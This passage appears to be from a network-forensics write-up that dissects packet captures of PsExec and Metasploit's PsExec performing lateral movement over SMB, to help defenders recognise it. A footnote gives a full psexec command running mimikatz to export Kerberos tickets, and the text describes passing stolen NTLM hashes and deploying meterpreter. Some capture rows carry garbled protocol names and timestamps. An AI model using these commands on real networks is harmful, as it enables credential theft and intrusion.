23	2017-10-09 10:13:10.577458	192.168.10.30	445 192.168.10.31	49239	SM2	386 Create Response File: PSEXESVC.exe
32	2017-10-09 10:13:10.578328	192.168.10.31	49239 192.168.10.30	445	SM2	26334 Write Request Len:65536 Off:0 File: PSEXESVC.exe [TCP segment of a reassembled PDU]
37	2017-10-09 10:13:10.578649	192.168.10.31	49239 192.168.10.30	445	SM2	18938 Write Request Len:65536 Off:65536 File: PSEXESVC.exe
38	2017-10-09 10:13:10.578771	192.168.10.30	445 192.168.10.31	49239	SM2	138 Write Response
39	2017-10-09 10:13:10.578787	192.168.10.31	49239 192.168.10.30	445	SM2	12458 Write Request Len:2288 Off:131072 File: PSEXESVC.exe
41	2017-10-09 10:13:10.578884	192.168.10.30	445 192.168.10.31	49239	SM2	138 Write Response
43	2017-10-09 10:13:10.578919	192.168.10.30	445 192.168.10.31	49239	SM2	138 Write Response
45	2017-10-09 10:13:10.578993	192.168.10.31	49239 192.168.10.30	445	SM2	2378 Write Request Len:2288 Off:143360 File: PSEXESVC.exe
47	2017-10-09 10:13:10.579134	192.168.10.30	445 192.168.10.31	49239	SM2	138 Write Response
48	2017-10-09 10:13:10.579187	192.168.10.31	49239 192.168.10.30	445	SM2	146 Close Request File: PSEXESVC.exe
49	2017-10-09 10:13:10.579426	192.168.10.30	445 192.168.10.31	49239	SM2	182 Close Response
94	2017-10-09 10:13:10.729787	192.168.10.31	49239 192.168.10.30	445	SM2	168 Tree Connect Request Tree: \\admin-pc\IPC\$
95	2017-10-09 10:13:10.729986	192.168.10.30	445 192.168.10.31	49239	SM2	138 Tree Connect Response
96	2017-10-09 10:13:10.730123	192.168.10.31	49239 192.168.10.30	445	SM2	194 Create Request File: PSEXESVC
97	2017-10-09 10:13:10.730519	192.168.10.30	445 192.168.10.31	49239	SM2	218 Create Response File: PSEXESVC
98	2017-10-09 10:13:10.730587	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO File: PSEXESVC
99	2017-10-09 10:13:10.730833	192.168.10.30	445 192.168.10.31	49239	SM2	154 GetInfo Response
100	2017-10-09 10:13:10.731011	192.168.10.31	49239 192.168.10.30	445	SM2	194 Ioctl Request FSCTL_PIPE_TRANSCEIVE File: PSEXESVC
101	2017-10-09 10:13:10.736254	192.168.10.30	445 192.168.10.31	49239	SM2	186 Ioctl Response FSCTL_PIPE_TRANSCEIVE File: PSEXESVC
103	2017-10-09 10:13:10.736589	192.168.10.31	49239 192.168.10.30	445	SM2	174 Write Request Len:4 Off:0 File: PSEXESVC
104	2017-10-09 10:13:10.736614	192.168.10.30	445 192.168.10.31	49239	SM2	138 Write Response
105	2017-10-09 10:13:10.736658	192.168.10.31	49239 192.168.10.30	445	SM2	19218 Write Request Len:19048 Off:0 File: PSEXESVC
107	2017-10-09 10:13:10.737111	192.168.10.30	445 192.168.10.31	49239	SM2	138 Write Response
108	2017-10-09 10:13:10.737174	192.168.10.31	49239 192.168.10.30	445	SM2	171 Read Request Len:4 Off:0 File: PSEXESVC
109	2017-10-09 10:13:10.737626	192.168.10.30	445 192.168.10.31	49239	SM2	142 Read Response
110	2017-10-09 10:13:10.737674	192.168.10.31	49239 192.168.10.30	445	SM2	171 Read Request Len:16 Off:0 File: PSEXESVC
111	2017-10-09 10:13:10.737994	192.168.10.30	445 192.168.10.31	49239	SM2	154 Read Response
112	2017-10-09 10:13:10.800458	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO
113	2017-10-09 10:13:10.800719	192.168.10.30	445 192.168.10.31	49239	SM2	131 GetInfo Response, Error: STATUS_FILE_CLOSED
114	2017-10-09 10:13:10.800761	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO
115	2017-10-09 10:13:10.801115	192.168.10.30	445 192.168.10.31	49239	SM2	131 GetInfo Response, Error: STATUS_FILE_CLOSED
116	2017-10-09 10:13:10.801165	192.168.10.31	49239 192.168.10.30	445	SM2	250 Ioctl Request FSCTL_PIPE_WAIT Pipe: PSEXESVC-VICTIM-PC-1212-stdin
117	2017-10-09 10:13:10.801524	192.168.10.30	445 192.168.10.31	49239	SM2	170 Ioctl Response FSCTL_PIPE_WAIT
118	2017-10-09 10:13:10.801529	192.168.10.31	49239 192.168.10.30	445	SM2	236 Create Request File: PSEXESVC-VICTIM-PC-1212-stdin
119	2017-10-09 10:13:10.801870	192.168.10.30	445 192.168.10.31	49239	SM2	210 Create Response File: PSEXESVC-VICTIM-PC-1212-stdin
120	2017-10-09 10:13:10.801916	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO File: PSEXESVC-VICTIM-PC-1212-stdin
121	2017-10-09 10:13:10.802097	192.168.10.30	445 192.168.10.31	49239	SM2	154 GetInfo Response
122	2017-10-09 10:13:10.802187	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO
123	2017-10-09 10:13:10.802541	192.168.10.30	445 192.168.10.31	49239	SM2	131 GetInfo Response, Error: STATUS_FILE_CLOSED
124	2017-10-09 10:13:10.802580	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO
125	2017-10-09 10:13:10.802890	192.168.10.30	445 192.168.10.31	49239	SM2	131 GetInfo Response, Error: STATUS_FILE_CLOSED
126	2017-10-09 10:13:10.802936	192.168.10.31	49239 192.168.10.30	445	SM2	252 Ioctl Request FSCTL_PIPE_WAIT Pipe: PSEXESVC-VICTIM-PC-1212-stdout
127	2017-10-09 10:13:10.803271	192.168.10.30	445 192.168.10.31	49239	SM2	170 Ioctl Response FSCTL_PIPE_WAIT
128	2017-10-09 10:13:10.803358	192.168.10.31	49239 192.168.10.30	445	SM2	238 Create Request File: PSEXESVC-VICTIM-PC-1212-stdout
129	2017-10-09 10:13:10.803677	192.168.10.30	445 192.168.10.31	49239	SM2	210 Create Response File: PSEXESVC-VICTIM-PC-1212-stdout
130	2017-10-09 10:13:10.803722	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO File: PSEXESVC-VICTIM-PC-1212-stdout
131	2017-10-09 10:13:10.804065	192.168.10.30	445 192.168.10.31	49239	SM2	154 GetInfo Response
132	2017-10-09 10:13:10.804175	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO
133	2017-10-09 10:13:10.804427	192.168.10.30	445 192.168.10.31	49239	SM2	131 GetInfo Response, Error: STATUS_FILE_CLOSED
134	2017-10-09 10:13:10.804470	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO
135	2017-10-09 10:13:10.804610	192.168.10.30	445 192.168.10.31	49239	SM2	131 GetInfo Response, Error: STATUS_FILE_CLOSED
136	2017-10-09 10:13:10.804641	192.168.10.31	49239 192.168.10.30	445	SM2	252 Ioctl Request FSCTL_PIPE_WAIT Pipe: PSEXESVC-VICTIM-PC-1212-stderr
137	2017-10-09 10:13:10.805151	192.168.10.30	445 192.168.10.31	49239	SM2	170 Ioctl Response FSCTL_PIPE_WAIT
138	2017-10-09 10:13:10.805233	192.168.10.31	49239 192.168.10.30	445	SM2	238 Create Request File: PSEXESVC-VICTIM-PC-1212-stderr
139	2017-10-09 10:13:10.806083	192.168.10.30	445 192.168.10.31	49239	SM2	210 Create Response File: PSEXESVC-VICTIM-PC-1212-stderr
140	2017-10-09 10:13:10.806149	192.168.10.31	49239 192.168.10.30	445	SM2	162 GetInfo Request FILE_INFO\SM2_FILE_STANDARD_INFO File: PSEXESVC-VICTIM-PC-1212-stderr
141	2017-10-09 10:13:10.807213	192.168.10.30	445 192.168.10.31	49239	SM2	154 GetInfo Response
142	2017-10-09 10:13:10.807667	192.168.10.31	49239 192.168.10.30	445	SM2	171 Read Request Len:4 Off:0 File: PSEXESVC-VICTIM-PC-1212-stdout
143	2017-10-09 10:13:10.808798	192.168.10.30	445 192.168.10.31	49239	SM2	145 Read Response, Error: STATUS_PENDING
145	2017-10-09 10:13:10.816466	192.168.10.30	445 192.168.10.31	49239	SM2	131 Read Response, Error: STATUS_PENDING
146	2017-10-09 10:13:10.816467	192.168.10.30	445 192.168.10.31	49239	SM2	142 Read Response, Error: STATUS_PENDING
149	2017-10-09 10:13:20.012233	192.168.10.30	445 192.168.10.31	49239	SM2	131 Read Response
150	2017-10-09 10:13:20.012377	192.168.10.31	49239 192.168.10.30	445	SM2	171 Read Request Len:176 Off:0 File: PSEXESVC-VICTIM-PC-1212-stdout
151	2017-10-09 10:13:20.014874	192.168.10.30	445 192.168.10.31	49239	SM2	314 Read Response

¹⁹ <https://docs.microsoft.com/en-us/sysinternals/downloads/psexec>

²⁰ The exact command being run is: psexec.exe \\admin-pc -accepteula cmd /c (cd c:\temp ^& mimikatz.exe "privilege::debug" "sekurlsa:tickets /export" "exit") (see the ATA playbook above)

We first connect to the ADMIN\$ share (1) (which points to C:\Windows), and copy over the PSEXESVC.exe file (2). This is an executable which will eventually be run on the target machine as a temporary service. We then connect to the IPC\$ share (3) (note that we don't need to do another session setup for this to happen). Since Wireshark can't parse the PSEXESVC (like it could ATSV and SAMR) at time of writing, we see the raw ioctl request (4), FSCTL_PIPE_TRANSCEIVE, instead of it being decoded into service specific commands. We then open (or more accurately, FSCTL_PIPE_WAIT on²¹) the service's stdin (5), stdout (6), and stderr (7), and then start reading the actual file from stdout (8). As of version 2.1, PsExec encrypts all communication between the local and remote machines, so we can't glean much more insight from this PCAP.

[The next example](#) we'll look at is using PsExec to add a user to a remote machine, and looks fairly different. The initial setup is similar, we connect to the ADMIN\$ share (1) and copy over the PSEXESVC.exe file (2), though in this case we then completely disconnect.

12	2017-10-09 10:44:39.266397	192.168.10.31	49282	192.168.10.10	445	SMB	213	Negotiate Protocol Request
13	2017-10-09 10:44:39.266894	192.168.10.10	445	192.168.10.31	49282	SMB2	306	Negotiate Protocol Response
14	2017-10-09 10:44:39.266917	192.168.10.31	49282	192.168.10.10	445	SMB2	162	Negotiate Protocol Request
15	2017-10-09 10:44:39.267167	192.168.10.10	445	192.168.10.31	49282	SMB2	306	Negotiate Protocol Response
16	2017-10-09 10:44:39.267485	192.168.10.31	49282	192.168.10.10	445	SMB2	3195	Session Setup Request
18	2017-10-09 10:44:39.268284	192.168.10.10	445	192.168.10.31	49282	SMB2	314	Session Setup Response
19	2017-10-09 10:44:39.268407	192.168.10.31	49282	192.168.10.10	445	SMB2	154	Tree Connect Request Tree: \\dc1\ADMIN\$
20	2017-10-09 10:44:39.268670	192.168.10.10	445	192.168.10.31	49282	SMB2	138	Tree Connect Response
21	2017-10-09 10:44:39.268769	192.168.10.31	49282	192.168.10.10	445	SMB2	346	Create Request File: PSEXESVC.exe
22	2017-10-09 10:44:39.269246	192.168.10.10	445	192.168.10.31	49282	SMB2	386	Create Response File: PSEXESVC.exe
31	2017-10-09 10:44:39.270609	192.168.10.31	49282	192.168.10.10	445	SMB2	29254	Write Request Len:65536 Off:0 File: PSEXESVC.exe [TCP segment of a reassembled PDU]
36	2017-10-09 10:44:39.270900	192.168.10.31	49282	192.168.10.10	445	SMB2	2878	Write Request Len:65536 Off:65536 File: PSEXESVC.exe
39	2017-10-09 10:44:39.271761	192.168.10.10	445	192.168.10.31	49282	SMB2	138	Write Response
40	2017-10-09 10:44:39.271895	192.168.10.10	445	192.168.10.31	49282	SMB2	138	Write Response
42	2017-10-09 10:44:39.271926	192.168.10.31	49282	192.168.10.10	445	SMB2	12458	Write Request Len:12288 Off:131872 File: PSEXESVC.exe
44	2017-10-09 10:44:39.272191	192.168.10.10	445	192.168.10.31	49282	SMB2	138	Write Response
45	2017-10-09 10:44:39.272266	192.168.10.31	49282	192.168.10.10	445	SMB2	2378	Write Request Len:2208 Off:143360 File: PSEXESVC.exe
47	2017-10-09 10:44:39.272517	192.168.10.10	445	192.168.10.31	49282	SMB2	138	Write Response
48	2017-10-09 10:44:39.272566	192.168.10.31	49282	192.168.10.10	445	SMB2	146	Close Request File: PSEXESVC.exe
49	2017-10-09 10:44:39.272984	192.168.10.10	445	192.168.10.31	49282	SMB2	182	Close Response
63	2017-10-09 10:44:40.699188	192.168.10.31	49280	192.168.10.30	139	SMB2	126	Tree Disconnect Request
64	2017-10-09 10:44:40.699460	192.168.10.30	139	192.168.10.31	49280	SMB2	126	Tree Disconnect Response
65	2017-10-09 10:44:40.699505	192.168.10.31	49280	192.168.10.30	139	SMB2	126	Session Logoff Request
66	2017-10-09 10:44:40.699722	192.168.10.30	139	192.168.10.31	49280	SMB2	126	Session Logoff Response
67	2017-10-09 10:44:40.699776	192.168.10.31	49281	192.168.10.30	139	SMB	93	Tree Disconnect Request
69	2017-10-09 10:44:40.700004	192.168.10.30	139	192.168.10.31	49281	SMB	93	Tree Disconnect Response
70	2017-10-09 10:44:40.700086	192.168.10.31	49281	192.168.10.30	139	SMB	97	Logoff AndX Request
73	2017-10-09 10:44:40.700776	192.168.10.30	139	192.168.10.31	49281	SMB	97	Logoff AndX Response
107	2017-10-09 10:44:52.699623	192.168.10.31	49282	192.168.10.10	445	SMB2	126	Tree Disconnect Request
108	2017-10-09 10:44:52.699973	192.168.10.10	445	192.168.10.31	49282	SMB2	126	Tree Disconnect Response
109	2017-10-09 10:44:52.700022	192.168.10.31	49282	192.168.10.10	445	SMB2	126	Session Logoff Request
110	2017-10-09 10:44:52.700342	192.168.10.10	445	192.168.10.31	49282	SMB2	126	Session Logoff Response

²¹ <https://msdn.microsoft.com/en-us/library/cc232126.aspx>

However, when we reconnect to the IPC\$ share (1), we launch PsExec via an RPC call to the SVCCTL service (as opposed to sending an ioctl to the PSEXESVC pipe, as we did above) (2) and then connect to the stdin, stdout and stderr as before (3).

146	2017-10-09 10:45:00.279371	192.168.10.31	49285	192.168.10.10	445	SMB2	275	Session Setup Request
147	2017-10-09 10:45:00.280312	192.168.10.10	445	192.168.10.31	49285	SMB2	314	Session Setup Response
148	2017-10-09 10:45:00.280462	192.168.10.31	49285	192.168.10.10	445	SMB2	150	Tree Connect Request Tree: \\dc1\IPC\$
149	2017-10-09 10:45:00.280608	192.168.10.10	445	192.168.10.31	49285	SMB2	138	Tree Connect Response
150	2017-10-09 10:45:00.280760	192.168.10.31	49285	192.168.10.10	445	SMB2	190	Create Request File: svcctl
151	2017-10-09 10:45:00.281093	192.168.10.10	445	192.168.10.31	49285	SMB2	210	Create Response File: svcctl
152	2017-10-09 10:45:00.281168	192.168.10.31	49285	192.168.10.10	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO File: svcctl
153	2017-10-09 10:45:00.281353	192.168.10.10	445	192.168.10.31	49285	SMB2	154	GetInfo Response
154	2017-10-09 10:45:00.281450	192.168.10.31	49285	192.168.10.10	445	DCERPC	286	Bind: call_id: 2, Fragment: Single, 2 context items: SVCCTL V2.0 (32bit NDR), SVCCTL V2.0 (6cb71c2c-9812-4540-8300-000000000000)
155	2017-10-09 10:45:00.281602	192.168.10.10	445	192.168.10.31	49285	SMB2	138	Write Response
156	2017-10-09 10:45:00.281735	192.168.10.31	49285	192.168.10.10	445	SMB2	171	Read Request Len:1024 Off:0 File: svcctl
157	2017-10-09 10:45:00.281938	192.168.10.10	445	192.168.10.31	49285	DCERPC	230	Bind_ack: call_id: 2, Fragment: Single, max_xmit: 4200 max_recv: 4200, 2 results: Acceptance, Negotiate ACK
158	2017-10-09 10:45:00.281997	192.168.10.31	49285	192.168.10.10	445	SVCCTL	234	OpenChangeW request, dc1
159	2017-10-09 10:45:00.282273	192.168.10.10	445	192.168.10.31	49285	SVCCTL	218	OpenChangeW response
160	2017-10-09 10:45:00.282353	192.168.10.31	49285	192.168.10.10	445	SVCCTL	398	Unknown operation 45 request
161	2017-10-09 10:45:00.282348	192.168.10.10	445	192.168.10.31	49285	SVCCTL	222	Unknown operation 45 response
162	2017-10-09 10:45:00.282505	192.168.10.31	49285	192.168.10.10	445	SVCCTL	222	CloseServiceHandle request, (null)
163	2017-10-09 10:45:00.282841	192.168.10.10	445	192.168.10.31	49285	SVCCTL	218	CloseServiceHandle response
164	2017-10-09 10:45:00.282987	192.168.10.31	49285	192.168.10.10	445	SVCCTL	258	OpenServiceW request
165	2017-10-09 10:45:00.283188	192.168.10.10	445	192.168.10.31	49285	SVCCTL	218	OpenServiceW response
166	2017-10-09 10:45:00.283301	192.168.10.31	49285	192.168.10.10	445	SVCCTL	230	StartServiceW request
167	2017-10-09 10:45:00.283373	192.168.10.10	445	192.168.10.31	49285	SVCCTL	198	StartServiceW response
168	2017-10-09 10:45:00.283528	192.168.10.31	49285	192.168.10.10	445	SVCCTL	222	QueryServiceStatus request
169	2017-10-09 10:45:00.283595	192.168.10.10	445	192.168.10.31	49285	SVCCTL	226	QueryServiceStatus response
170	2017-10-09 10:45:00.283884	192.168.10.31	49285	192.168.10.10	445	SVCCTL	222	QueryServiceStatus request
171	2017-10-09 10:45:00.283957	192.168.10.10	445	192.168.10.31	49285	SVCCTL	226	QueryServiceStatus response
172	2017-10-09 10:45:00.283959	192.168.10.31	49285	192.168.10.10	445	SVCCTL	222	CloseServiceHandle request, (null)
173	2017-10-09 10:45:00.283912	192.168.10.10	445	192.168.10.31	49285	SVCCTL	218	CloseServiceHandle response
174	2017-10-09 10:45:00.283987	192.168.10.31	49285	192.168.10.10	445	SVCCTL	222	CloseServiceHandle request, OpenSManagerW(dc1)
175	2017-10-09 10:45:00.283986	192.168.10.10	445	192.168.10.31	49285	SVCCTL	218	CloseServiceHandle response
176	2017-10-09 10:45:00.283992	192.168.10.31	49285	192.168.10.10	445	SMB2	146	Close Request File: svcctl
177	2017-10-09 10:45:00.283971	192.168.10.10	445	192.168.10.31	49285	SMB2	182	Close Response
178	2017-10-09 10:45:00.282125	192.168.10.31	49285	192.168.10.10	445	SMB2	194	Create Request File: PSEXESVC
179	2017-10-09 10:45:00.282449	192.168.10.10	445	192.168.10.31	49285	SMB2	210	Create Response File: PSEXESVC
180	2017-10-09 10:45:00.282545	192.168.10.31	49285	192.168.10.10	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO File: PSEXESVC
181	2017-10-09 10:45:00.282859	192.168.10.10	445	192.168.10.31	49285	SMB2	154	GetInfo Response
182	2017-10-09 10:45:00.282813	192.168.10.31	49285	192.168.10.10	445	SMB2	194	Ioctl Request FSCTL_PIPE_TRANSCEIVE File: PSEXESVC
183	2017-10-09 10:45:00.282889	192.168.10.10	445	192.168.10.31	49285	SMB2	186	Ioctl Response FSCTL_PIPE_TRANSCEIVE File: PSEXESVC
184	2017-10-09 10:45:00.282863	192.168.10.31	49285	192.168.10.10	445	SMB2	174	Write Request Len:4 Off:0 File: PSEXESVC
185	2017-10-09 10:45:00.282484	192.168.10.10	445	192.168.10.31	49285	SMB2	138	Write Response
186	2017-10-09 10:45:00.282779	192.168.10.31	49285	192.168.10.10	445	SMB2	18408	Write Request Len:19848 Off:0 File: PSEXESVC
187	2017-10-09 10:45:00.283341	192.168.10.10	445	192.168.10.31	49285	SMB2	138	Write Response
191	2017-10-09 10:45:00.283384	192.168.10.31	49285	192.168.10.10	445	SMB2	171	Read Request Len:4 Off:0 File: PSEXESVC
192	2017-10-09 10:45:00.283507	192.168.10.10	445	192.168.10.31	49285	SMB2	142	Read Response
193	2017-10-09 10:45:00.283635	192.168.10.31	49285	192.168.10.10	445	SMB2	171	Read Request Len:16 Off:0 File: PSEXESVC
194	2017-10-09 10:45:00.283888	192.168.10.10	445	192.168.10.31	49285	SMB2	154	Read Response
195	2017-10-09 10:45:00.283882	192.168.10.31	49285	192.168.10.10	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO
196	2017-10-09 10:45:00.283663	192.168.10.10	445	192.168.10.31	49285	SMB2	131	GetInfo Response, Error: STATUS_FILE_CLOSED
197	2017-10-09 10:45:00.283618	192.168.10.31	49285	192.168.10.10	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO
198	2017-10-09 10:45:00.283675	192.168.10.10	445	192.168.10.31	49285	SMB2	131	GetInfo Response, Error: STATUS_FILE_CLOSED
199	2017-10-09 10:45:00.283623	192.168.10.31	49285	192.168.10.10	445	SMB2	210	Create Request File: PSEXESVC-VICTIM-PC-2412-stdin
200	2017-10-09 10:45:00.283683	192.168.10.10	445	192.168.10.31	49285	SMB2	170	Ioctl Response FSCTL_PIPE_WAIT
201	2017-10-09 10:45:00.283594	192.168.10.31	49285	192.168.10.10	445	SMB2	236	Create Request File: PSEXESVC-VICTIM-PC-2412-stdin
202	2017-10-09 10:45:00.283612	192.168.10.10	445	192.168.10.31	49285	SMB2	210	Create Response File: PSEXESVC-VICTIM-PC-2412-stdin
203	2017-10-09 10:45:00.283653	192.168.10.31	49285	192.168.10.10	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO File: PSEXESVC-VICTIM-PC-2412-stdin
204	2017-10-09 10:45:00.283888	192.168.10.10	445	192.168.10.31	49285	SMB2	154	GetInfo Response
205	2017-10-09 10:45:00.283981	192.168.10.31	49285	192.168.10.10	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO
206	2017-10-09 10:45:00.283722	192.168.10.10	445	192.168.10.31	49285	SMB2	131	GetInfo Response, Error: STATUS_FILE_CLOSED
207	2017-10-09 10:45:00.283766	192.168.10.31	49285	192.168.10.10	445	SMB2	162	GetInfo Request FILE_INFO/SMB2_FILE_STANDARD_INFO
208	2017-10-09 10:45:00.283744	192.168.10.10	445	192.168.10.31	49285	SMB2	131	GetInfo Response, Error: STATUS_FILE_CLOSED
209	2017-10-09 10:45:00.283745	192.168.10.31	49285	192.168.10.10	445	SMB2	252	Ioctl Request FSCTL_PIPE_WAIT Pipe: PSEXESVC-VICTIM-PC-2412-stdout
210	2017-10-09 10:45:00.2837614	192.168.10.10	445	192.168.10.31	49285	SMB2	170	Ioctl Response FSCTL_PIPE_WAIT
211	2017-10-09 10:45:00.2837688	192.168.10.31	49285	192.168.10.10	445	SMB2	238	Create Request File: PSEXESVC-VICTIM-PC-2412-stdout

The metasploit framework (<https://www.metasploit.com/>) also contains its own version of PsExec which works a little differently under the hood.²² In [this PCAP](#), we're using it to pass some NTLM credentials we stole across SMB and then download [meterpreter](#) to a target machine.

²² <https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/>

6	2017-10-25 13:18:37.888384	192.168.10.50	46785	192.168.10.31	445	SNB	154	Negotiate Protocol Request
7	2017-10-25 13:18:37.811291	192.168.10.31	445	192.168.10.50	46785	SNB	275	Negotiate Protocol Response
9	2017-10-25 13:18:37.814467	192.168.10.50	46785	192.168.10.31	445	SNB	225	Session Setup AndX Request, NTLMSSP_NEGOTIATE
10	2017-10-25 13:18:37.814611	192.168.10.31	445	192.168.10.50	46785	SNB	484	Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
11	2017-10-25 13:18:37.822788	192.168.10.50	46785	192.168.10.31	445	SNB	534	Session Setup AndX Request, NTLMSSP_AUTH, User: contoso.local\Jeffv
23	2017-10-25 13:18:37.829844	192.168.10.31	445	192.168.10.50	46785	SNB	168	Session Setup AndX Response
24	2017-10-25 13:18:37.833642	192.168.10.50	46785	192.168.10.31	445	SNB	141	Tree Connect AndX Request, Path: \\192.168.10.31\IPC\$
25	2017-10-25 13:18:37.833786	192.168.10.31	445	192.168.10.50	46785	SNB	116	Tree Connect AndX Response
26	2017-10-25 13:18:37.836284	192.168.10.50	46785	192.168.10.31	445	SNB	143	Tree Connect AndX Request, Path: \\192.168.10.31\ADMIN\$
27	2017-10-25 13:18:37.836325	192.168.10.31	445	192.168.10.50	46785	SNB	119	Tree Connect AndX Response
28	2017-10-25 13:18:37.838133	192.168.10.50	46785	192.168.10.31	445	SNB	182	Open AndX Request, FID: 0x4000, Path: System32\WindowsPowerShell\v1.0\powershell.exe
29	2017-10-25 13:18:37.838260	192.168.10.31	445	192.168.10.50	46785	SNB	135	Open AndX Response, FID: 0x4000
30	2017-10-25 13:18:37.840151	192.168.10.50	46785	192.168.10.31	445	SNB	111	Close Request, FID: 0x4000
31	2017-10-25 13:18:37.840214	192.168.10.31	445	192.168.10.50	46785	SNB	185	Close Response, FID: 0x4000
32	2017-10-25 13:18:37.841389	192.168.10.50	46785	192.168.10.31	445	SNB	185	Tree Disconnect Request
33	2017-10-25 13:18:37.841361	192.168.10.31	445	192.168.10.50	46785	SNB	185	Tree Disconnect Response
34	2017-10-25 13:18:37.851610	192.168.10.50	46785	192.168.10.31	445	SNB	141	Tree Connect AndX Request, Path: \\192.168.10.31\IPC\$
35	2017-10-25 13:18:37.851655	192.168.10.31	445	192.168.10.50	46785	SNB	116	Tree Connect AndX Response
36	2017-10-25 13:18:37.853961	192.168.10.50	46785	192.168.10.31	445	SNB	161	NT Create AndX Request, FID: 0x4001, Path: \svcsctl
37	2017-10-25 13:18:37.854126	192.168.10.31	445	192.168.10.50	46785	SNB	285	NT Create AndX Response, FID: 0x4001
38	2017-10-25 13:18:37.861051	192.168.10.50	46785	192.168.10.31	445	DCRPC	689	Bind: call_id: 0, Fragment: Single, 12 context items: 1600da5f-f794-4eab-d8cd-fbe28991671c V0.1 (32bit)
39	2017-10-25 13:18:37.861202	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 556 bytes
40	2017-10-25 13:18:37.863172	192.168.10.50	46785	192.168.10.31	445	SNB	129	Read AndX Request, FID: 0x4001, 538 bytes at offset 964
41	2017-10-25 13:18:37.863212	192.168.10.31	445	192.168.10.50	46785	DCRPC	462	Bind_ack: call_id: 0, Fragment: Single, max_xmit: 4280 max_recv: 4280, 12 results: Provider rejection,
42	2017-10-25 13:18:37.876730	192.168.10.50	46785	192.168.10.31	445	SVCTL	213	OpenSManagerW request, \\192.168.10.31
43	2017-10-25 13:18:37.877855	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 80 bytes
44	2017-10-25 13:18:37.879854	192.168.10.50	46785	192.168.10.31	445	SNB	129	Read AndX Request, FID: 0x4001, 276 bytes at offset 961
45	2017-10-25 13:18:37.879901	192.168.10.31	445	192.168.10.50	46785	SVCTL	178	OpenSManagerW response
46	2017-10-25 13:18:37.882167	192.168.10.50	46785	192.168.10.31	445	SNB	552	Write AndX Request, FID: 0x4001, 419 bytes at offset 242
47	2017-10-25 13:18:37.882242	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 419 bytes
48	2017-10-25 13:18:37.884143	192.168.10.50	46785	192.168.10.31	445	SNB	1031	Write AndX Request, FID: 0x4001, 898 bytes at offset 272
49	2017-10-25 13:18:37.884283	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 898 bytes
50	2017-10-25 13:18:37.886878	192.168.10.50	46785	192.168.10.31	445	SNB	569	Write AndX Request, FID: 0x4001, 436 bytes at offset 8
51	2017-10-25 13:18:37.886152	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 436 bytes
52	2017-10-25 13:18:37.888106	192.168.10.50	46785	192.168.10.31	445	SNB	437	Write AndX Request, FID: 0x4001, 384 bytes at offset 985
53	2017-10-25 13:18:37.888164	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 384 bytes
54	2017-10-25 13:18:37.890360	192.168.10.50	46785	192.168.10.31	445	SNB	257	Write AndX Request, FID: 0x4001, 124 bytes at offset 716
55	2017-10-25 13:18:37.890421	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 124 bytes
56	2017-10-25 13:18:37.892830	192.168.10.50	46785	192.168.10.31	445	SNB	886	Write AndX Request, FID: 0x4001, 753 bytes at offset 330
57	2017-10-25 13:18:37.892887	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 753 bytes
58	2017-10-25 13:18:37.895264	192.168.10.50	46785	192.168.10.31	445	SNB	981	Write AndX Request, FID: 0x4001, 848 bytes at offset 183
59	2017-10-25 13:18:37.895317	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 848 bytes
60	2017-10-25 13:18:37.897572	192.168.10.50	46785	192.168.10.31	445	DCRPC	375	Request: call_id: 0, Fragment: 1st, opnum: 12, Ctx: 11 [DCE/RPC 1st fragment, reas: #64]
61	2017-10-25 13:18:37.897650	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 242 bytes
62	2017-10-25 13:18:37.899868	192.168.10.50	46785	192.168.10.31	445	SNB	892	Write AndX Request, FID: 0x4001, 759 bytes at offset 590
63	2017-10-25 13:18:37.899864	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 759 bytes
64	2017-10-25 13:18:37.901875	192.168.10.50	46785	192.168.10.31	445	SVCTL	386	CreateServiceW request
65	2017-10-25 13:18:37.902583	192.168.10.31	445	192.168.10.50	46785	SNB	117	Write AndX Response, FID: 0x4001, 253 bytes
66	2017-10-25 13:18:37.904691	192.168.10.50	46785	192.168.10.31	445	SNB	129	Read AndX Request, FID: 0x4001, 949 bytes at offset 324
67	2017-10-25 13:18:37.913886	192.168.10.31	445	192.168.10.50	46785	SVCTL	182	CreateServiceW response
